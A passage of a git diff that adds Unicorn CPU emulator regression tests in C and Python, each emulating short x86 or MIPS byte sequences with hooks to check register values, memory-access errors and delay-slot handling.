eflags, r_esp, r_edi, r_ecx; + + r_eax = 0xbaadbabe; + r_esp = ADDRESS+0x20; + r_edi = ADDRESS+0x300; //some safe distance from main code. + eflags = 0x00000206; + r_ecx = ECX_OPS; + + // Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if(err) + { + printf("Failed on uc_open() with error returned: %s\n", uc_strerror(err)); + return; + } + + err = uc_mem_map(uc, ADDRESS, (2 * 1024 * 1024), UC_PROT_ALL); + if(err != UC_ERR_OK) + { + printf("Failed to map memory %s\n", uc_strerror(err)); + return; + } + + // write machine code to be emulated to memory + err = uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1); + if(err != UC_ERR_OK) + { + printf("Failed to write emulation code to memory, quit!: %s(len %lu)\n", uc_strerror(err), (unsigned long)sizeof(X86_CODE32) - 1); + return; + } + + // initialize machine registers + uc_reg_write(uc, UC_X86_REG_EAX, &r_eax); + uc_reg_write(uc, UC_X86_REG_EDI, &r_edi); + uc_reg_write(uc, UC_X86_REG_ECX, &r_ecx); + uc_reg_write(uc, UC_X86_REG_ESP, &r_esp); //make stack pointer point to already mapped memory so we don't need to hook. + uc_reg_write(uc, UC_X86_REG_EFLAGS, &eflags); + + uc_hook_add(uc, &trace, UC_HOOK_CODE, (void *)hook_ins, NULL, 1, 0); + + // emulate machine code in infinite time + err = uc_emu_start(uc, ADDRESS, ADDRESS + (sizeof(X86_CODE32) - 1), 0, 0); + if(err) + { + printf("Failed on uc_emu_start() with error returned %u: %s\n", err, uc_strerror(err)); + + uc_close(uc); + return; + } + + uc_reg_read(uc, UC_X86_REG_EAX, &r_eax); + uc_reg_read(uc, UC_X86_REG_ECX, &r_ecx); + uc_reg_read(uc, UC_X86_REG_EDI, &r_edi); + uc_reg_read(uc, UC_X86_REG_EFLAGS, &eflags); + + uc_close(uc); + + printf("\n>>> Emulation done. Below is the CPU context\n"); + printf(">>> EAX = 0x%08X\n", r_eax); + printf(">>> ECX = 0x%08X\n", r_ecx); + printf(">>> EDI = 0x%08X\n", r_edi); + printf(">>> EFLAGS = 0x%08X\n", eflags); + + printf("\nHook called %lu times. Test %s\n", hook_called, (hook_called == ECX_OPS ? "PASSED!!" : "FAILED!!!")); + +} + +int main(int argc, char *argv[]) +{ + VM_exec(); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_readonly_write_local.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_readonly_write_local.py new file mode 100644 index 0000000..76b1589 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/hook_readonly_write_local.py @@ -0,0 +1,30 @@ +#!/usr/bin/python +from unicorn import * +from unicorn.x86_const import * +import regress + +PAGE_SIZE = 4 * 1024 +ACCESS_ADDR = 0x1000 + +# mov eax, [0x1000] +# mov eax, [0x1000] +CODE = b'\xA1\x00\x10\x00\x00\xA1\x00\x10\x00\x00' + +def hook_mem_read(uc, access, address, size, value, data): + print("Reading at " + str(address)) + uc.mem_write(address, CODE); + +class REP(regress.RegressTest): + + def test_rep(self): + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + mu.mem_map(0, PAGE_SIZE) + mu.mem_write(0, CODE) + mu.mem_map(ACCESS_ADDR, PAGE_SIZE, UC_PROT_READ); + mu.hook_add(UC_HOOK_MEM_READ, hook_mem_read, begin = ACCESS_ADDR, end = ACCESS_ADDR + PAGE_SIZE) + + mu.emu_start(0, len(CODE)) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/init.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/init.py new file mode 100644 index 0000000..024ea39 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/init.py @@ -0,0 +1,68 @@ +#!/usr/bin/python +# By Mariano Graziano + +from unicorn import * +from unicorn.x86_const import * + +import regress, struct + +mu = 0 + +class Init(regress.RegressTest): + + def init_unicorn(self, ip, sp, counter): + global mu + #print "[+] Emulating IP: %x SP: %x - Counter: %x" % (ip, sp, counter) + mu = Uc(UC_ARCH_X86, UC_MODE_64) + mu.mem_map(0x1000000, 2 * 1024 * 1024) + mu.mem_write(0x1000000, "\x90") + mu.mem_map(0x8000000, 8 * 1024 * 1024) + mu.reg_write(UC_X86_REG_RSP, sp) + content = self.generate_value(counter) + mu.mem_write(sp, content) + self.set_hooks() + + def generate_value(self, counter): + start = 0xffff880026f02000 + offset = counter * 8 + address = start + offset + return struct.pack(">> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" %(address, size, value) + address_page = address & 0xFFFFFFFFFFFFF000 + mu.mem_map(address_page, 2 * 1024 * 1024) + mu.mem_write(address, str(value)) + return True + else: + return False + + def hook_mem_fetch_unmapped(self, uc, access, address, size, value, user_data): + global mu + print "[ HOOK_MEM_FETCH - Address: %s ]" % hex(address).strip("L") + print "[ mem_fetch_unmapped: faulting address at %s ]" % hex(address).strip("L") + mu.mem_write(0x1000003, "\x90") + mu.reg_write(UC_X86_REG_RIP, 0x1000001) + return True + + def runTest(self): + global mu + ips = list(xrange(0x1000000, 0x1001000, 0x1)) + sps = list(xrange(0x8000000, 0x8001000, 0x1)) + j = 0 + for i in ips: + j += 1 + index = ips.index(i) + self.init_unicorn(i, sps[index], j) + mu.emu_start(0x1000000, 0x1000000 + 0x1) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_cpu_tb_exec.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_cpu_tb_exec.c new file mode 100644 index 0000000..01e8a98 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_cpu_tb_exec.c @@ -0,0 +1,33 @@ +#include + +static void hook_block(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) { + printf("hook_block(%p, %"PRIx64", %d, %p)\n", uc, address, size, user_data); +} + +/* + * Disassembly according to capstone: + * add byte ptr [rip - 1], 0x30 + * jmp 0x1000000 + */ +#define BINARY "\x80\x05\xff\xff\xff\xff\x30\xeb\xf7\x30" +#define MEMORY_SIZE 2 * 1024 * 1024 +#define STARTING_ADDRESS 0x1000000 + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(UC_ARCH_X86, UC_MODE_64, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, STARTING_ADDRESS, MEMORY_SIZE, UC_PROT_ALL); + if (uc_mem_write(uc, STARTING_ADDRESS, BINARY, sizeof(BINARY) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + uc_hook hook; + uc_hook_add(uc, &hook, UC_HOOK_BLOCK, hook_block, NULL, 1, 0); + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, STARTING_ADDRESS, STARTING_ADDRESS + sizeof(BINARY) - 1, 0, 20); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_tb_flush_x86_64.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_tb_flush_x86_64.c new file mode 100644 index 0000000..dc2ca49 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_read_in_tb_flush_x86_64.c @@ -0,0 +1,27 @@ +#include + +#define HARDWARE_ARCHITECTURE UC_ARCH_X86 +#define HARDWARE_MODE UC_MODE_64 + +#define MEMORY_STARTING_ADDRESS 0x1000000 +#define MEMORY_SIZE 2 * 1024 * 1024 +#define MEMORY_PERMISSIONS UC_PROT_READ + +#define BINARY_CODE "\x90" + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(HARDWARE_ARCHITECTURE, HARDWARE_MODE, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, MEMORY_STARTING_ADDRESS, MEMORY_SIZE, MEMORY_PERMISSIONS); + if (uc_mem_write(uc, MEMORY_STARTING_ADDRESS, BINARY_CODE, sizeof(BINARY_CODE) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, MEMORY_STARTING_ADDRESS, MEMORY_STARTING_ADDRESS + sizeof(BINARY_CODE) - 1, 0, 20); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write.py new file mode 100644 index 0000000..b37305f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write.py @@ -0,0 +1,47 @@ +#!/usr/bin/env python +# Test callback that returns False to cancel emulation + +from __future__ import print_function +from unicorn import * +from unicorn.x86_const import * + +import regress + +X86_CODE32_MEM_WRITE = b"\x89\x0D\xAA\xAA\xAA\xAA\x41\x4a" # mov [0xaaaaaaaa], ecx; INC ecx; DEC edx + + +# callback for tracing invalid memory access (READ or WRITE) +def hook_mem_invalid(uc, access, address, size, value, user_data): + return False + + +class InvalidWrite(regress.RegressTest): + def test(self): + # Initialize emulator in X86-32bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_32) + + # memory address where emulation starts + ADDRESS = 0x1000000 + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, X86_CODE32_MEM_WRITE) + + # initialize machine registers + mu.reg_write(UC_X86_REG_ECX, 0x1234) + mu.reg_write(UC_X86_REG_EDX, 0x7890) + + # intercept invalid memory events + mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, hook_mem_invalid) + + try: + # emulation should return with error UC_ERR_WRITE_UNMAPPED + mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_MEM_WRITE)) + except UcError as e: + self.assertEqual(e.errno, UC_ERR_WRITE_UNMAPPED) + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write_in_cpu_tb_exec_x86_64.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write_in_cpu_tb_exec_x86_64.c new file mode 100644 index 0000000..47c19f0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/invalid_write_in_cpu_tb_exec_x86_64.c @@ -0,0 +1,26 @@ +#include + +/* + * Disassembly according to capstone: + * mulx rsp, rsp, rdx + */ +#define BINARY "\xc4\xe2\xdb\xf6\xe2" +#define MEMORY_SIZE 2 * 1024 * 1024 +#define STARTING_ADDRESS 0x1000000 + +int main(int argc, char **argv, char **envp) { + uc_engine *uc; + if (uc_open(UC_ARCH_X86, UC_MODE_64, &uc)) { + printf("uc_open(…) failed\n"); + return 1; + } + uc_mem_map(uc, STARTING_ADDRESS, MEMORY_SIZE, UC_PROT_ALL); + if (uc_mem_write(uc, STARTING_ADDRESS, BINARY, sizeof(BINARY) - 1)) { + printf("uc_mem_write(…) failed\n"); + return 1; + } + printf("uc_emu_start(…)\n"); + uc_emu_start(uc, STARTING_ADDRESS, STARTING_ADDRESS + sizeof(BINARY) - 1, 0, 20); + printf("done\n"); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/jmp_ebx_hang.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/jmp_ebx_hang.py new file mode 100644 index 0000000..5b3952c --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/jmp_ebx_hang.py @@ -0,0 +1,39 @@ +#!/usr/bin/env python + +"""See https://github.com/unicorn-engine/unicorn/issues/82""" + +import unicorn +from unicorn import * +import regress + +CODE_ADDR = 0x10101000 +CODE = b'\xff\xe3' # jmp ebx + +class JumEbxHang(regress.RegressTest): + + def runTest(self): + mu = unicorn.Uc(UC_ARCH_X86, UC_MODE_32) + mu.mem_map(CODE_ADDR, 1024 * 4) + mu.mem_write(CODE_ADDR, CODE) + # If EBX is zero then an exception is raised, as expected + mu.reg_write(unicorn.x86_const.UC_X86_REG_EBX, 0x0) + + print(">>> jmp ebx (ebx = 0)"); + with self.assertRaises(UcError) as m: + mu.emu_start(CODE_ADDR, CODE_ADDR + 2, count=1) + + self.assertEqual(m.exception.errno, UC_ERR_FETCH_UNMAPPED) + + print(">>> jmp ebx (ebx = 0xaa96a47f)"); + mu = unicorn.Uc(UC_ARCH_X86, UC_MODE_32) + mu.mem_map(CODE_ADDR, 1024 * 4) + # If we write this address to EBX then the emulator hangs on emu_start + mu.reg_write(unicorn.x86_const.UC_X86_REG_EBX, 0xaa96a47f) + mu.mem_write(CODE_ADDR, CODE) + with self.assertRaises(UcError) as m: + mu.emu_start(CODE_ADDR, CODE_ADDR + 2, count=1) + + self.assertEqual(m.exception.errno, UC_ERR_FETCH_UNMAPPED) + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/jumping.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/jumping.py new file mode 100644 index 0000000..265ec07 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/jumping.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python +# Mariano Graziano + +from unicorn import * +from unicorn.x86_const import * + +import regress + +#echo -ne "\x48\x31\xc0\x48\xb8\x04\x00\x00\x00\x00\x00\x00\x00\x48\x3d\x05\x00\x00\x00\x74\x05\xe9\x0f\x00\x00\x00\x48\xba\xbe\xba\x00\x00\x00\x00\x00\x00\xe9\x0f\x00\x00\x00\x48\xba\xca\xc0\x00\x00\x00\x00\x00\x00\xe9\x00\x00\x00\x00\x90" | ndisasm - -b64 +#00000000 4831C0 xor rax,rax +#00000003 48B8040000000000 mov rax,0x4 +# -0000 +#0000000D 483D05000000 cmp rax,0x5 +#00000013 7405 jz 0x1a +#00000015 E90F000000 jmp qword 0x29 +#0000001A 48BABEBA00000000 mov rdx,0xbabe +# -0000 +#00000024 E90F000000 jmp qword 0x38 +#00000029 48BACAC000000000 mov rdx,0xc0ca +# -0000 +#00000033 E900000000 jmp qword 0x38 +#00000038 90 nop + + +mu = 0 +zf = 1 # (0:clear, 1:set) + + +class Init(regress.RegressTest): + def clear_zf(self): + eflags_cur = mu.reg_read(UC_X86_REG_EFLAGS) + eflags = eflags_cur & ~(1 << 6) + #eflags = 0x0 + print "[clear_zf] - eflags from %x to %x" % (eflags_cur, eflags) + if eflags != eflags_cur: + print "[clear_zf] - writing new eflags..." + mu.reg_write(UC_X86_REG_EFLAGS, eflags) + + def set_zf(self): + eflags_cur = mu.reg_read(UC_X86_REG_EFLAGS) + eflags = eflags_cur | (1 << 6) + #eflags = 0xFFFFFFFF + print "[set_zf] - eflags from %x to %x" % (eflags_cur, eflags) + if eflags != eflags_cur: + print "[set_zf] - writing new eflags..." + mu.reg_write(UC_X86_REG_EFLAGS, eflags) + + def handle_zf(self, zf): + print "[handle_zf] - eflags " , zf + if zf == 0: self.clear_zf() + else: self.set_zf() + + def multipath(self): + print "[multipath] - handling ZF (%s) - default" % zf + self.handle_zf(zf) + + # callback for tracing basic blocks + def hook_block(self, uc, address, size, user_data): + print(">>> Tracing basic block at 0x%x, block size = 0x%x" %(address, size)) + + # callback for tracing instructions + def hook_code(self, uc, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size)) + rax = mu.reg_read(UC_X86_REG_RAX) + rbx = mu.reg_read(UC_X86_REG_RBX) + rcx = mu.reg_read(UC_X86_REG_RCX) + rdx = mu.reg_read(UC_X86_REG_RDX) + rsi = mu.reg_read(UC_X86_REG_RSI) + rdi = mu.reg_read(UC_X86_REG_RDI) + r8 = mu.reg_read(UC_X86_REG_R8) + r9 = mu.reg_read(UC_X86_REG_R9) + r10 = mu.reg_read(UC_X86_REG_R10) + r11 = mu.reg_read(UC_X86_REG_R11) + r12 = mu.reg_read(UC_X86_REG_R12) + r13 = mu.reg_read(UC_X86_REG_R13) + r14 = mu.reg_read(UC_X86_REG_R14) + r15 = mu.reg_read(UC_X86_REG_R15) + eflags = mu.reg_read(UC_X86_REG_EFLAGS) + + print(">>> RAX = %x" %rax) + print(">>> RBX = %x" %rbx) + print(">>> RCX = %x" %rcx) + print(">>> RDX = %x" %rdx) + print(">>> RSI = %x" %rsi) + print(">>> RDI = %x" %rdi) + print(">>> R8 = %x" %r8) + print(">>> R9 = %x" %r9) + print(">>> R10 = %x" %r10) + print(">>> R11 = %x" %r11) + print(">>> R12 = %x" %r12) + print(">>> R13 = %x" %r13) + print(">>> R14 = %x" %r14) + print(">>> R15 = %x" %r15) + print(">>> ELAGS = %x" %eflags) + print "-"*11 + self.multipath() + print "-"*11 + + # callback for tracing memory access (READ or WRITE) + def hook_mem_access(self, uc, access, address, size, value, user_data): + if access == UC_MEM_WRITE: + print(">>> Memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" \ + %(address, size, value)) + else: # READ + print(">>> Memory is being READ at 0x%x, data size = %u" \ + %(address, size)) + + # callback for tracing invalid memory access (READ or WRITE) + def hook_mem_invalid(self, uc, access, address, size, value, user_data): + print("[ HOOK_MEM_INVALID - Address: %s ]" % hex(address)) + if access == UC_MEM_WRITE_UNMAPPED: + print(">>> Missing memory is being WRITE at 0x%x, data size = %u, data value = 0x%x" %(address, size, value)) + return True + else: + print(">>> Missing memory is being READ at 0x%x, data size = %u, data value = 0x%x" %(address, size, value)) + return True + + + def hook_mem_fetch_unmapped(self, uc, access, address, size, value, user_data): + print("[ HOOK_MEM_FETCH - Address: %s ]" % hex(address)) + print("[ mem_fetch_unmapped: faulting address at %s ]" % hex(address).strip("L")) + return True + + def runTest(self): + global mu + + JUMP = "\x48\x31\xc0\x48\xb8\x04\x00\x00\x00\x00\x00\x00\x00\x48\x3d\x05\x00\x00\x00\x74\x05\xe9\x0f\x00\x00\x00\x48\xba\xbe\xba\x00\x00\x00\x00\x00\x00\xe9\x0f\x00\x00\x00\x48\xba\xca\xc0\x00\x00\x00\x00\x00\x00\xe9\x00\x00\x00\x00\x90" + + ADDRESS = 0x1000000 + + print("Emulate x86_64 code") + # Initialize emulator in X86-64bit mode + mu = Uc(UC_ARCH_X86, UC_MODE_64) + + # map 2MB memory for this emulation + mu.mem_map(ADDRESS, 2 * 1024 * 1024) + + # write machine code to be emulated to memory + mu.mem_write(ADDRESS, JUMP) + + # setup stack + mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000) + + # tracing all basic blocks with customized callback + mu.hook_add(UC_HOOK_BLOCK, self.hook_block) + + # tracing all instructions in range [ADDRESS, ADDRESS+0x60] + mu.hook_add(UC_HOOK_CODE, self.hook_code, None, ADDRESS, ADDRESS+0x60) + + # tracing all memory READ & WRITE access + mu.hook_add(UC_HOOK_MEM_WRITE, self.hook_mem_access) + mu.hook_add(UC_HOOK_MEM_READ, self.hook_mem_access) + mu.hook_add(UC_HOOK_MEM_FETCH_UNMAPPED, self.hook_mem_fetch_unmapped) + mu.hook_add(UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_WRITE_UNMAPPED, self.hook_mem_invalid) + + try: + # emulate machine code in infinite time + mu.emu_start(ADDRESS, ADDRESS + len(JUMP)) + except UcError as e: + print("ERROR: %s" % e) + + rdx = mu.reg_read(UC_X86_REG_RDX) + self.assertEqual(rdx, 0xbabe, "RDX contains the wrong value. Eflags modification failed.") + + +if __name__ == '__main__': + regress.main() diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/leaked_refs.py b/ai_anti_malware/unicorn/unicorn-master/tests/regress/leaked_refs.py new file mode 100644 index 0000000..263345d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/leaked_refs.py @@ -0,0 +1,63 @@ +#!/usr/bin/python + +from __future__ import print_function + +import time + +from unicorn import * +from unicorn.x86_const import * + +import objgraph + +import regress + +ADDRESS = 0x8048000 +STACK_ADDRESS = 0xffff000 +STACK_SIZE = 4096 +''' +31 DB xor ebx, ebx +53 push ebx +43 inc ebx +53 push ebx +6A 02 push 2 +6A 66 push 66h +58 pop eax +89 E1 mov ecx, esp +CD 80 int 80h +''' +CODE = "\x31\xDB\x53\x43\x53\x6A\x02\x6A\x66\x58\x89\xE1\xCD\x80" +EP = ADDRESS + 0x54 + +def hook_code(mu, address, size, user_data): + print(">>> Tracing instruction at 0x%x, instruction size = %u" %(address, size)) + +def emu_loop(): + emu = Uc(UC_ARCH_X86, UC_MODE_32) + emu.mem_map(ADDRESS, 0x1000) + emu.mem_write(EP, CODE) + + emu.mem_map(STACK_ADDRESS, STACK_SIZE) + emu.reg_write(UC_X86_REG_ESP, STACK_ADDRESS + STACK_SIZE) + + i = emu.hook_add(UC_HOOK_CODE, hook_code, None) + emu.hook_del(i) + + emu.emu_start(EP, EP + len(CODE), count = 3) + print("EIP: 0x%x" % emu.reg_read(UC_X86_REG_EIP)) + +def debugMem(): + import gc + gc.collect() # don't care about stuff that would be garbage collected properly + #print("Orphaned objects in gc.garbage:", gc.garbage) + assert(len(objgraph.by_type("Uc")) == 0) + #assert(len(objgraph.get_leaking_objects()) == 0) + +class EmuLoopReferenceTest(regress.RegressTest): + def runTest(self): + for i in range(5): + emu_loop() + debugMem() + + +if __name__ == '__main__': + regress.main() \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/map_crash.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/map_crash.c new file mode 100644 index 0000000..1d89d8d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/map_crash.c @@ -0,0 +1,32 @@ +#include +#include +#include +#include + +#define UC_BUG_WRITE_SIZE 13000 +#define UC_BUG_WRITE_ADDR 0x1000 + +int main() +{ + int size; + uint8_t *buf; + uc_engine *uc; + uc_err err = uc_open (UC_ARCH_X86, UC_MODE_64, &uc); + if (err) { + fprintf (stderr, "Cannot initialize unicorn\n"); + return 1; + } + size = UC_BUG_WRITE_SIZE; + buf = malloc (size); + if (!buf) { + fprintf (stderr, "Cannot allocate\n"); + return 1; + } + memset (buf, 0, size); + if (!uc_mem_map (uc, UC_BUG_WRITE_ADDR, size, UC_PROT_ALL)) { + uc_mem_write (uc, UC_BUG_WRITE_ADDR, buf, size); + } + uc_close(uc); + free(buf); + return 0; +} diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/map_write.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/map_write.c new file mode 100644 index 0000000..124e2d8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/map_write.c @@ -0,0 +1,54 @@ +#include +#include +#include + +#define ADDR 0x00400000 +#define SIZE 1024*64 +#define OVERFLOW 1 + +int main() +{ + uc_engine *uc = NULL; + uint8_t *buf = NULL, *buf2 = NULL; + int i; + uc_err err; + + err = uc_open (UC_ARCH_X86, UC_MODE_64, &uc); + if (err) { + printf ("uc_open %d\n", err); + goto exit; + } + err = uc_mem_map (uc, ADDR, SIZE, UC_PROT_ALL); + if (err) { + printf ("uc_mem_map %d\n", err); + goto exit; + } + buf = calloc (SIZE*2, 1); + buf2 = calloc (SIZE, 1); + for (i=0;i +#include +#include +#define PRIx64 "llX" +#ifdef DYNLOAD +#include +#else // DYNLOAD +#include +#ifdef _WIN64 +#pragma comment(lib, "unicorn_staload64.lib") +#else // _WIN64 +#pragma comment(lib, "unicorn_staload.lib") +#endif // _WIN64 +#endif // DYNLOAD + +// posix specific +#else // _MSC_VER +#include +#include "pthread.h" +#endif // _MSC_VER + +// common includes +#include + + +const uint64_t addr = 0x100000; +// This code SHOULD execute the instruction at 0x100010. +const unsigned char test_code_1[] = { + 0x00,0x00,0x04,0x24, // 100000: li $a0, 0 + 0x01,0x00,0x02,0x24, // 100004: li $v0, 1 + 0x02,0x00,0x03,0x24, // 100008: li $v1, 2 + 0x01,0x00,0x62,0x54, // 10000C: bnel $v1, $v0, 0x100014 + 0x21,0x20,0x62,0x00, // 100010: addu $a0, $v1, $v0 +}; +// This code SHOULD NOT execute the instruction at 0x100010. +const unsigned char test_code_2[] = { + 0x00,0x00,0x04,0x24, // 100000: li $a0, 0 + 0x01,0x00,0x02,0x24, // 100004: li $v0, 1 + 0x01,0x00,0x03,0x24, // 100008: li $v1, 1 + 0x01,0x00,0x62,0x54, // 10000C: bnel $v1, $v0, 0x100014 + 0x21,0x20,0x62,0x00, // 100010: addu $a0, $v1, $v0 +}; +int test_num = 0; +// flag for whether the delay slot was executed by the emulator +bool test1_delayslot_executed = false; +bool test2_delayslot_executed = false; +// flag for whether the delay slot had a code hook called for it +bool test1_delayslot_hooked = false; +bool test2_delayslot_hooked = false; + + +// This hook is used to show that code is executing in the emulator. +static void mips_codehook(uc_engine *uc, uint64_t address, uint32_t size, void *user_data) +{ + printf("Test %d Executing: %"PRIx64"\n", test_num, address); + if( test_num == 1 && address == 0x100010 ) + { + printf("Delay slot hook called!\n"); + test1_delayslot_hooked = true; + } + if( test_num == 2 && address == 0x100010 ) + { + printf("Delay slot hook called!\n"); + test2_delayslot_hooked = true; + } +} + + +int main(int argc, char **argv, char **envp) +{ + uc_engine *uc; + uc_err err; + uc_hook hhc; + uint32_t val; + + // dynamically load shared library +#ifdef DYNLOAD + uc_dyn_load(NULL, 0); +#endif + + // Initialize emulator in MIPS 32bit little endian mode + printf("uc_open()\n"); + err = uc_open(UC_ARCH_MIPS, UC_MODE_MIPS32, &uc); + if (err) + { + printf("Failed on uc_open() with error returned: %u\n", err); + return err; + } + + // map in a page of mem + printf("uc_mem_map()\n"); + err = uc_mem_map(uc, addr, 0x1000, UC_PROT_ALL); + if (err) + { + printf("Failed on uc_mem_map() with error returned: %u\n", err); + return err; + } + + // hook all instructions by having @begin > @end + printf("uc_hook_add()\n"); + uc_hook_add(uc, &hhc, UC_HOOK_CODE, mips_codehook, NULL, 1, 0); + if( err ) + { + printf("Failed on uc_hook_add(code) with error returned: %u\n", err); + return err; + } + + + // write test1 code to be emulated to memory + test_num = 1; + printf("\nuc_mem_write(1)\n"); + err = uc_mem_write(uc, addr, test_code_1, sizeof(test_code_1)); + if( err ) + { + printf("Failed on uc_mem_write() with error returned: %u\n", err); + return err; + } + // start executing test code 1 + printf("uc_emu_start(1)\n"); + uc_emu_start(uc, addr, addr+sizeof(test_code_1), 0, 0); + // read the value from a0 when finished executing + uc_reg_read(uc, UC_MIPS_REG_A0, &val); printf("a0 is %X\n", val); + if( val != 0 ) + test1_delayslot_executed = true; + + + // write test2 code to be emulated to memory + test_num = 2; + printf("\nuc_mem_write(2)\n"); + err = uc_mem_write(uc, addr, test_code_2, sizeof(test_code_2)); + if( err ) + { + printf("Failed on uc_mem_write() with error returned: %u\n", err); + return err; + } + // start executing test code 2 + printf("uc_emu_start(2)\n"); + uc_emu_start(uc, addr, addr+sizeof(test_code_2), 0, 0); + // read the value from a0 when finished executing + uc_reg_read(uc, UC_MIPS_REG_A0, &val); printf("a0 is %X\n", val); + if( val != 0 ) + test2_delayslot_executed = true; + + + // free resources + printf("\nuc_close()\n"); + uc_close(uc); + + + // print test results + printf("\n\nTest 1 SHOULD execute the delay slot instruction:\n"); + printf(" Emulator %s execute the delay slot: %s\n", + test1_delayslot_executed ? "did" : "did not", + test1_delayslot_executed ? "CORRECT" : "WRONG"); + printf(" Emulator %s hook the delay slot: %s\n", + test1_delayslot_hooked ? "did" : "did not", + test1_delayslot_hooked ? "CORRECT" : "WRONG"); + + printf("\n\nTest 2 SHOULD NOT execute the delay slot instruction:\n"); + printf(" Emulator %s execute the delay slot: %s\n", + test2_delayslot_executed ? "did" : "did not", + !test2_delayslot_executed ? "CORRECT" : "WRONG"); + printf(" Emulator %s hook the delay slot: %s\n", + test2_delayslot_hooked ? "did" : "did not", + !test2_delayslot_hooked ? "CORRECT" : "WRONG"); + + + // test 1 SHOULD execute the instruction in the delay slot + if( test1_delayslot_hooked == true && test1_delayslot_executed == true ) + printf("\n\nTEST 1 PASSED!\n"); + else + printf("\n\nTEST 1 FAILED!\n"); + + // test 2 SHOULD NOT execute the instruction in the delay slot + if( test2_delayslot_hooked == false && test2_delayslot_executed == false ) + printf("TEST 2 PASSED!\n\n"); + else + printf("TEST 2 FAILED!\n\n"); + + + // dynamically free shared library +#ifdef DYNLOAD + uc_dyn_free(); +#endif + + return 0; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_delay_slot_code_hook.c b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_delay_slot_code_hook.c new file mode 100644 index 0000000..4a407ae --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/tests/regress/mips_delay_slot_code_hook.c @@ -0,0 +1,138 @@ +/* +Test for code hook being called for instructions in branch delay slot in MIPS cpu. +See issue https://github.com/unicorn-engine/unicorn/issues/290 + +The code hook should be called for every instruction executed. +This test checks that the code hook is correctly called for instructions in branch delay slots. +In this test the loop check value is decremented inside the branch delay shot. +This helps to show that the instruction in the branch delay slot is being executed, +but that the code hook is just not occurring. +*/ + +// windows specific +#ifdef _MSC_VER +#include +#include +#define PRIx64 "llX" +#ifdef DYNLOAD +#include +#else // DYNLOAD +#include +#ifdef _WIN64 +#pragma comment(lib, "unicorn_staload64.lib") +#else // _WIN64 +#pragma comment(lib, "unicorn_staload.lib") +#endif // _WIN64 +#endif // DYNLOAD + +// posix specific +#else // _MSC_VER +#include +#endif // _MSC_VER + +// common includes +#include + + +// Test MIPS little endian code. +// It should loop 3 times before ending. +const uint64_t addr = 0x100000; +const unsigned char loop_test_code[] = { + 0x02,0x00,0x04,0x24, // 100000: li $a0, 2 + // loop1 + 0x00,0x00,0x00,0x00, // 100004: nop + 0xFE,0xFF,0x80,0x14, // 100008: bnez $a0, loop1 + 